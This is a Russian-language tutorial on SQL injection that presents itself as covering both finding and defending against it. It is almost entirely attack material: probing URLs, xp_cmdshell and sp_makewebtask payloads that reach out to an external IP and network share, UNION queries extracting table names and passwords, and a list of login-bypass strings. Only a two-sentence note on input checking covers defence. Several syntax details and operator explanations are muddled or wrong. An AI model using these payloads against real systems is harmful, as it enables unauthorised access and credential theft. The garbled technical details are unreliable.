SQL-injection


Макаров Тихон

sql injection поиск и защитаSQL базы используются во всeх серьезных скриптах с авторизацией (потому что использовать файлы считается глупым и неправильным). Обычно там хранят пароли пользователей. Итак, SQL-injection - один из самых частых в наше время способов взлома скриптов.

Что такое SQL-injection? Это отправка базе данных SQL команды на выполнение через web скрипт, расположенный на доступной рядовому пользователю веб-странице.

Для начала построим цепь, по которой связываются пользователь с базой данных: пользователь заходит на страницу, пишет свое имя и пароль, после нажатие на кнопки типа Submit страница проверяет правильность данных и отправляет данные веб серверу, веб сервер формирует SQL запрос и передает его базе данных (Веб сервер не проверяет, может ли ваш запрос взломать базу данных!), она проверяет запрос и возвращает результат скрипту, который выдает пользователю ответ. Таким образом есть только одно потенциально уязвимое место: передача данных скрипту. Итак, ищем скрипты, которые могут быть уязвимы. А уязвим может быть любой скрипт, который обращается к базе как post, так и get методом.

Почему SQL базу можно обмануть? Она ведь просто сопоставляет записи? Да, но в ней еще есть и другие команды, которые делают ее уязвимой. Вот самые частые в использовании операторы:

-- коментарий
+ пробел
' конец выражения
& и
,@ex где ex - переменная добавляет новую переменную
?ex=1 присваивает переменной ex значение 1.
set создание еще одной переменной

Перед взломом необходимо узнать как можно больше о запросе, а именно:

1) все переменные
2) процедура, которой они передаются
3) какие-то параметры для этих переменных
4) наличие ошибок при лишних, других, недостатке символов

Например, введем www.example.ru/index.php?user=1&pass=2'mustdie. Тогда при неправильной обработке скриптом оно вызовет ошибку в Microsoft OLE DB Provaider for ODBC Drivers, что покажет, что возможность лишнего параметра не обрабатывается скриптом.

Попробуем написать www.example.ru/index.php?mustdie=123 и если скрипт сделан неправильно, то появится ошибка с надписью, что первым параметром должен быть другой (и он будет указан), так можно узнать все возможные параметры запроса. Если попробовать вводить другие символы (вышеприведенные, например), то может вывестись ошибка о том, в какой процедуре была вызвана ошибка.

Можно вводить разные данные, например:

www.example.ru/index.php?user=1&user=1
www.example.ru/index.php?user=1,@succes=true
www.example.ru/index.php?user=1+set+@succes=true

Если результат база выдает как переменную succes, то мы попытаемся создать такую переменную и дать ей значение true.

www.example.ru/index.php?user=1+print

что может вывести нам таблицу базы SQL. Можно попытаться вывести переменную pass для этого поля user:

www.example.ru/index.php?user=1+print+@@pass

Можно использовать команды, связанные с конкретными базами данных. Так, например, у MS SQL Server есть следующие команды:

xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данныйц момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell (исполнение файла через cmd.exe)
xp_servicecontrol , (запускает или останавливает указанные процесс)
xp_terminate_process (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида).

Зная команды приведем принцип работы одной из них. Введем в url:

www.example.ru/index.asp?user=1'; exec master..xp_cmdshell 'telnet 192.168.0.0' --

Если команда выполнится успешно, сервер должен соединиться через telnet с адресом 192.168.0.0 (правда, telnet может быть заблокирован с помощью firewall и тогда соединения не произойдет, но можно использовать команду ping для проверки работы уязвимости).

Может понадобиться (хотя я с такими случаями не встречался) запихнуть текст подкоманды в html:

'; EXEC master..sp_makewebtask "\\192.168.0.0\sharedocs\Rabotaet.ura",
"SELECT * FROM INFORMATION_SCHEMA.TABLES"

Это создаст на указанном компьютере данный файл благодаря sp_makewebtask.

С командой exec мы разобрались, теперь посмотрим команды Union и Insert. Команда insert позволяет добавлять данные в таблицу. Синтаксис команды:

INSERT INTO table (value1; value2; value3; etc.)
VALUES (value1; value2; value3; etc.)

Таким образом можно написать

www.example.ru/index.asp?user=1 INSERT
INTO 'logins' ('number', 'login', 'pass')
VALUES (1,'makarov','password')--

Теперь перейдем к команде union. Синтаксис команды Union таков:

UNION ALL SELECT field FROM table WHERE condition

и служит она для извлечения столбцов из таблицы. C помощью union можно, например, узнать имена таблиц SQL базы. Введем

www.example.ru/index.asp?user=1 UNION SELECT
TOP 10 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

после чего в ошибке мы увидим имя таблиц. Потом можно создать такой же запрос с условием

WHERE TABLE_NAME NOT IN ('table_we_now')--

Зная имена таблиц, можно узнать из них имена столбцов:

www.example.ru/index.asp?user=1 UNION SELECT
TOP 10 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='password'--

что выдаст имя колонок. Теперь зная имена столбцов и таблиц можно узнать строки из них:

www.example.ru/index.asp?user=1 UNION SELECT
TOP 1 login FROM login--

а зная все это можно получить значения для этих строк:

www.example.ru/index.asp?user=1 UNION SELECT
TOP 1 password FROM logins where login='makarov'--

Вводя поле аутентификации можно так же попытаться выполнить "хитрые" команды и попытаться обойти систему авторизации. Введем в поле логин: Admin (или что-то подобное), а в поле пароль - password'or 1=1--

Если все получится, SQL сервер примет поле пароль за две составляющих, причем достаточно чтобы выполнялась хотя бы одна из них: слово password совпадает с полем указанным в базе данных для пользователя Admin или 1=1. Поскольку второе условие всегда true то мы должны пройти авторизацию.

Возможными комбинациями вместо ' or 1=1-- могут быть:

" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
и пр.

Разбирая исходные коды скрипта, найти уязвимость достаточно просто. Достаточно встретить строки подобно

user = request("user_id")
sqlstr="SELECT * FROM product WHERE PCategory='" & user & "'"
set rs=conn.execute(sqlstr)

После чего найти место, где фильтруются символы для переменной user и определить слабое звено.

Теперь уделим немного слов защите. Что нужно делать? Да, кажется, делать почти ничего не надо. Всего лишь проверять вводимые пользователем данные, cookies и данные, передающиеся в параметрах url. Саму базу оставить без особых привилегий, а так же отключить опасные кoманды.